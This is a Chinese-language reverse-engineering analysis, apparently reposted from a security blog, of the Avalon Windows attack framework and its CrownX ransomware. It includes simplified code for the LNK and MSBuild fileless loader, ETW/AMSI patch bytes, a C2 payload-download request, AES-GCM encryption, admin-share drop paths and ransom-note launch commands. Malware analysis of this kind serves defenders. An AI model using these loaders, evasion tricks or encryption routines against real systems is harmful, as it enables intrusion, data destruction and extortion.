[干货满满]首次曝光的一款Windows全栈攻击框架,逆向分析六大技术亮点

admin 2026-07-09 05:42:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档首次公开曝光了名为Avalon的Windows全栈攻击框架,其具备高度模块化设计。核心亮点包括全程无文件落地执行、通过ETW/AMSI内存Patch致盲安全产品、在用户态复刻Windows加载器、集成多层EDR防御规避、优先攻击备份基础设施以实现可逆勒索及磁盘级摧毁。该框架展示了先进的对抗技术与工程化水平,对安全防御具有重要参考价值。 综合评分: 88 文章分类: 恶意软件,逆向分析,红队,免杀,漏洞分析


cover_image

[干货满满]首次曝光的一款Windows全栈攻击框架,逆向分析六大技术亮点

原创

suntiger suntiger

二进制空间安全

2026年7月7日 16:23 北京

在小说阅读器读本章

去阅读

将二进制空间安全设为”星标⭐️”

第一时间收到文章更新

框架概览

#

这款此前从未出现在公开情报中的恶意软件框架被称为Avalon, 它既不是某个已知家族的变种,也不是单纯的勒索病毒, 而是将凭证窃取、防御规避、C2通信、横向移动、反取证清理、CrownX勒索、删除卷影副本、破坏WinRE、磁盘级破坏等技术压缩进一个可复用的框架,具备较高的模块化产品设计特征。

亮点1:全程无文件落地,四层内存接力

Avalon最突出的工程特征,是从受害者双击诱饵PDF到框架上线,Avalon本体始终未以常规EXE/DLL形式落地,整个链条可以拆分成四个阶段:

| | | | | | — | — | — | — | | 层级 | 载体 | 进程上下文 | 关键技术 | | 阶段1 | .lnk快捷方式 | cmd.exe | 分段环境变量拼接+多盘符搜索 | | 阶段2 | zfighv.tmp | MSBuild.exe(微软签名) | CodeTaskFactory内联C#编译执行 | | 阶段3 | .NET托管DLL | MSBuild进程 | ETW/AMSI Patch → HTTPS → HMAC 解密 | | 阶段4 | Avalon原生PE | MSBuild进程 | Manual Mapping+线程池入口 |

这种技术会中断传统AV/EDR依赖的”可疑文件落地”和”新进程创建”两个重要行为特征。Avalon父进程为经过正规签名的MSBuild.exe,而子模块全部在内存中展开。

技术点1:LNK 启动器:环境变量拆分+盘符自适应

在一个实际的案例中,快捷方式Secure Document CA-283505.pdf.lnk启用cmd.exe /V:ON,这里开启了延迟环境变量扩展。延迟环境变量扩展是Windows命令提示符(cmd.exe)中的一项高级功能,主要用于解决批处理脚本在复杂逻辑(如循环、条件判断)中变量值无法实时更新的问题。它允许变量在执行时才被解析和替换,而不是在整行命令被读取时就提前展开。

这里Avalon将MSBuild路径、执行参数拆分成多个短变量,避免MSBuild.exe等关键字以连续字符串出现在LNK二进制中。同时硬编码C:到Z:盘符列表,搜索\Mimecast Secure File Logs\zfighv.tmp,适配ISO挂载后的任意驱动器号。

以下代码是LNK核心逻辑:

:: 这里做了简化还原 — 实际通过多个%变量%分段拼接for %%D in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (    if exist "%%D:\Mimecast Secure File Logs\zfighv.tmp" (        copy "%%D:\Mimecast Secure File Logs\zfighv.tmp" "%TEMP%\ngen0cc9.dat"        "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"            "%TEMP%\ngen0cc9.dat" /nologo /noconsolelogger        del "%TEMP%\ngen0cc9.dat"    ))

技术点2:MSBuild内联C#:签名工具里的编译器后门

zfighv.tmp本质是MSBuild XML项目,引用Microsoft.Build.Tasks.v4.0.dll,通过CodeTaskFactory在XML内直接嵌入C#源码,其中有一个名为_cyrbusnAC63Do主要完成三件事情:

1.运行时重建字符串,主要对抗静态扫描。

2.Base64编码 -> 解密 -> Assembly.Load(byte[])

3.反射调用_GnJwIhfBM._kP0LMYpk49P::_wBuO3mVJ()

在外层包裹了大量不透明算术条件和随机标识符, 用于增加逆向工程成本,但却不改变执行路径。关键代码如下:

<Project&nbsp;xmlns="http://schemas.microsoft.com/developer/msbuild/2003">&nbsp;&nbsp;<UsingTask&nbsp;TaskName="_cyrbusnAC63Do"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TaskFactory="CodeTaskFactory"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">&nbsp; &nbsp;&nbsp;<Task>&nbsp; &nbsp; &nbsp;&nbsp;<Code&nbsp;Type="Class"&nbsp;Language="cs">&nbsp; &nbsp; &nbsp; &nbsp; <![CDATA[&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Base64 解码 + 解密 → Assembly.Load&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] asm = Decrypt(Convert.FromBase64String(blob));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Assembly.Load(asm)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .GetType("_GnJwIhfBM._kP0LMYpk49P")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .GetMethod("_wBuO3mVJ")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .Invoke(null, null);&nbsp; &nbsp; &nbsp; &nbsp; ]]>&nbsp; &nbsp; &nbsp;&nbsp;</Code>&nbsp; &nbsp;&nbsp;</Task>&nbsp;&nbsp;</UsingTask>&nbsp;&nbsp;<Target&nbsp;Name="Build"><_cyrbusnAC63Do&nbsp;/></Target></Project>

亮点2:致盲安全产品+伪造CDN请求

在上面第二阶段的.NET加载器在发起任何HTTPS请求之前,会先对Windows安全遥测体系动刀,这是Avalon链路上第一个主动对抗环节。

技术点1:ETW/AMSI内存Patch

加载器解析以下API地址并写入3字节stub:

| | | | | — | — | — | | 目标函数 | Patch字节 | 汇编语义 | | EtwEventWrite 系列(6 个 entry) | 31 C0 C3 | xor eax,eax; ret | | NtTraceEvent | 同上 | 返回STATUS_SUCCESS | | AmsiScanBuffer | 配合VEH+线程上下文劫持 | 绕过脚本/内存扫描 |

Patch后, ETW事件管道和AMSI扫描表面上返回成功,实际上不再产生任何遥测,EDR在下载并加载下一阶段Payload的关键窗口完全失明。如下图:

技术点2:自研HMAC偏移密钥流+伪造CDN请求

Patch完成后,加载器通过System.Net.WebClient拉取Avalon最终PE。请求特征如下:

GET&nbsp;/cdn/static/c3587edc48c37656b29bcd3da9458eea/update HTTP/1.1Host: helloxcherry[.]comUser-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64) AppleWebKit/537.36&nbsp;...X-Edge-Cache: e3ec5926a167d6e3359f98cdfb7ac3b2cce97652843056505d02e6d2898573c6

在上面的请求中,Avalon刻意伪装成请求CDN静态资源目录结构,结合Chrome浏览器UA和X-Edge-Cache命名模仿CDN边缘缓存相关Header,来达到伪造CDN请求的目的。

由于Avalon设置了将证书校验回调替换为接受所有证书,因此即使C2使用无效/自签证书也能完成TLS握手。X-Edge-Cache作为活动级客户端指纹,服务端可区分合法客户端与普通扫描流量。

下面是一段解密算法,不是标准的AES/XOR,而是按偏移量派生密钥流,代码如下:

// 简化还原 — HMAC-SHA256 偏移密钥流for&nbsp;(long&nbsp;offset =&nbsp;0; offset < ciphertext.Length; offset +=&nbsp;0x20){&nbsp; &nbsp;&nbsp;byte[] blockKey = HMAC_SHA256(embeddedKey, BitConverter.GetBytes(offset));&nbsp; &nbsp;&nbsp;// blockKey 为 32 字节,逐字节 XOR 解密当前 0x20 块&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;0x20&nbsp;&& (offset + i) < ciphertext.Length; i++)&nbsp; &nbsp; &nbsp; &nbsp; plaintext[offset + i] = (byte)(ciphertext[offset + i] ^ blockKey[i]);}// 末尾 32 字节 HMAC tag 校验 — 失败则拒绝进入 Manual MappingVerifyHMAC(embeddedKey, ciphertext, capturedTag);

该加密流量无法凭抓包单独还原,静态分析MSBuild项目也只能看到外壳代码和加密数据块,看不到Avalon本体行为,这也是第二阶段设计最精妙的地方。

亮点3:在用户态复刻Windows Loader

解密后的Avalon没有调用LoadLibrary或CreateProcess,.NET加载器在用户态完整复刻了Windows映像加载器的全部步骤,流程如下图:

其大致步骤如下:

第一步:解析DOS Header -> e_lfanew ->验证”PE\0\0″签名。

第二步:读取

SizeOfImage/SizeOfHeaders/NumberOfSections/AddressOfEntryPoint。

第三步:VirtualAlloc分配RW内存,复制Headers + Sections。

第四步:遍历Base Relocation Table,应用IMAGE_REL_BASED_DIR64重定位。

第五步:遍历Import Directory:LoadLibrary(“ntdll.dll”)->GetProcAddress->写入IAT。

第六步:VirtualProtect按Section Characteristics设置RX/RW。

第七步:RtlAddFunctionTable(),注册x64异常处理/unwind info。

第八步:SetProcessValidCallTargets(),注册CFG合法间接跳转目标。

第九步:TpAllocWork(entryPoint)->TpPostWork->TpWaitForWork

如果TpAllocWork失败则降级:CreatThread->WaitForSingleObject->CloseHandle

上面的步骤中,第七步和第八步用到的技术在一般恶意软件中极为罕见,通常需要作者深入理解x64 SEH、Control Flow Guard与Windows10+安全机制的交互。Avalon作为首次曝光便集成该能力,是最值得研究者关注的细节之一。

加载完成后,Avalon的版本资源伪装成微软的WmiPrvSE.exe,进一步混淆进程审计,如下图:

亮点4:感知型EDR多层防御规避

Avalon的defense evasion不是一个Sleep()能概括的。Paylaod中集成了四层叠加规避体系,且Stage 2加载器和Stage 3框架各自独立实现ETW/AMSI干扰,即使Stage 2被检测,Stage 3 仍有第二道盲化。

| | | | | — | — | — | | 层级 | 手段 | 对抗目标 | | 遥测层 | ETW 6 入口 + NtTraceEvent Patch;AMSI VEH 劫持 | EDR事件管道、内存扫描 | | 调用层 | ntdll.dll干净副本映射;HalosGate / TartarusGate Direct Syscall | 用户态 API Hook | | 行为层 | 返回地址/栈欺骗;Sleep期间线程挂起/恢复;CET感知 | 调用栈分析、时序检测 | | 产品层 | 9家EDR专项分支逻辑 | 按已安装产品动态选路 |

产品层覆盖的安全产品清单如下:

Microsoft&nbsp;Defender · SentinelOne · CrowdStrike · SophosElastic Endpoint · FortiEDR · ESET · McAfee · Bitdefender

框架启动后会探测主机上实际运行的安全产品,动态选择syscall路径、sleep策略和hook绕过方案,这是典型的框架级设计,而非单点bypass脚本。

亮点5:先打备份,再加密,基础设施感知的横向移动

在使用Avalon框架的恶意软件在动手加密之前,Avalon的lateral movement子系统已经在做Recovery-Aware侦察,优先定位让你恢复不了的关键节点,而非随机扫内网。

Avalon内置主机分类逻辑,按角色优先级排序:

最高优先级: 域控制器、备份平台(Veeam/Acronis/NetApp/Synology)。

高优先级:虚拟化(vCenter/Hyper-V)、邮件/远程(Exchange/Citrix)。

中优先级:一般服务器,可写管理共享可达的工作站。

投递路径优先选择远程管理共享的高成功率目录:

\\<target>\C$\Windows\Temp\\<target>\C$\ProgramData\\<target>\C$\Users\Public\\<target>\ADMIN$\Temp

远程执行方式包括:DCOM延迟计划任务、即时计划任务、Token冒充计划任务、PsExec风格远程服务创建。如下图:

亮点6:CrownX——可运营的可逆勒索 + 磁盘级摧毁

Avalon内部勒索模块品牌CrownX贯穿加密逻辑、HTML 赎金模板、–decrypt参数和恢复工作流字符串,与框架名Avalon形成双层命名(内部编排&&对外勒索品牌)。

技术点1:AES-GCM加密引擎

CrownX没有使用Crypto++或OpenSSL,而是调用Windows原生BCrypt API,配置ChainingModeGCM:

// 简化还原 — CrownX 加密初始化BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM,&nbsp;NULL,&nbsp;0);BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,&nbsp; &nbsp; (PUCHAR)BCRYPT_CHAIN_MODE_GCM,&nbsp;sizeof(BCRYPT_CHAIN_MODE_GCM),&nbsp;0);BCryptGenRandom(NULL, nonce,&nbsp;12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);BCryptGenerateSymmetricKey(hAlg, &hKey, ...);BCryptEncrypt(hKey, mappedView, dataSize, &authInfo, nonce,&nbsp;12,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ciphertext, ..., &cbResult,&nbsp;0);

文件I/O采用CreateFileMappingW + MapViewOfFile内存映射大文件,线程池并行分发加密任务;CreateFileTransactedW / MoveFileTransactedW保证加密+改名的原子性,减少中途崩溃导致文件半加密半明文的风险。

加密后扩展名统一改为.8hn2yc,文件末尾追加:

[加密数据]&nbsp;+&nbsp;[12-byte nonce]&nbsp;+&nbsp;[16-byte GCM auth tag]&nbsp;+&nbsp;[segment metadata]

metadata使CrownX在获得32-byte session key 后可完整解密还原:

技术点2:专打值钱目标而非常目标

CrownX扩展名列表覆盖工程、DevOps和虚拟化场景:

工程设计后缀名:.sldprt .sldasm .catpart .blend。

DevOps/IaC后缀名:.tfstate .dockerfile .ipynb .proto。

虚拟机磁盘后缀名:.vmdk .vhdx .vmem .qcow2 .avhdx

数据库:.sqlite .accdb .pgdata

技术点3:Recovery Warfare + 物理磁盘破坏

加密同时,Avalon系统性摧毁本地恢复能力:

| | | | | — | — | — | | 子系统 | API/路径 | 效果 | | VSS | Win32_ShadowCopy WMI + COM | 删除所有卷影副本 | | VSS服务 | 终止+注册表禁用+删除计划任务 | 阻止新快照 | | WinRE | C:\Recovery\WindowsRE\Winre.wim | 破坏恢复环境 | | System Restore | …\SystemRestore策略键 | 禁用系统还原 | | 物理磁盘 | \.\PhysicalDrive%d直接写入 | 破坏分区表/MBR |

CrownX的这种双轨并行操作:文件级 AES-GCM 加密(可赎金解密)+ 磁盘级结构破坏, 把受害者的recovery选项压到极限。

CrownX内置HTML模板,动态填充{encrypted_count}、{total_bytes}、{hostname}和倒计时涨价timer。启动方式准备多条fallback:

cmd.exe /c start&nbsp;"CrownX"&nbsp;"%NOTE_PATH%"mshta.exe&nbsp;"%NOTE_PATH%.html"rundll32.exe url.dll,FileProtocolHandler&nbsp;"%NOTE_PATH%.html"notepad.exe&nbsp;"%NOTE_PATH%.txt"

即使以SYSTEM运行、无交互桌面,通知也会暂存至下次用户登录再弹出。

攻击链全景:从一封钓鱼邮件到框架上线

以下是Avalon框架勒索软件的完整攻击链场景:

(全文完)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:二进制空间安全 suntiger suntiger《[干货满满]首次曝光的一款Windows全栈攻击框架,逆向分析六大技术亮点》

评论:0   参与:  0